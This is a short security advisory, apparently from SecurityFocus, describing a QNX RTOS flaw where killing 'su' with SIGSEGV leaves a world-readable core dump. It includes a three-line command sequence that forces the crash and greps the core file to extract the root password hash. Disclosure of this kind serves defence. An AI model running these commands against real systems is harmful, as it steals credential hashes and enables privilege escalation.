source: http://www.securityfocus.com/bid/4914/info

It has been reported that the 'su' utility for QNX RTOS accepts the SIGSEGV signal and dumps a world readable core file. An attacker is able to analyze the core file and obtain very sensitive information.

It is very probable that this is a kernel-based vulnerability affecting not only 'su', but other setuid programs as well 

$su > /dev/null &
$kill -SEGV `ps -A | grep su | awk {'print $1'}`
$strings /var/dumps/su.core | grep ":0:0" > /tmp/mypasswd

The attacker has effectively obtained a copy of the root user's password hash.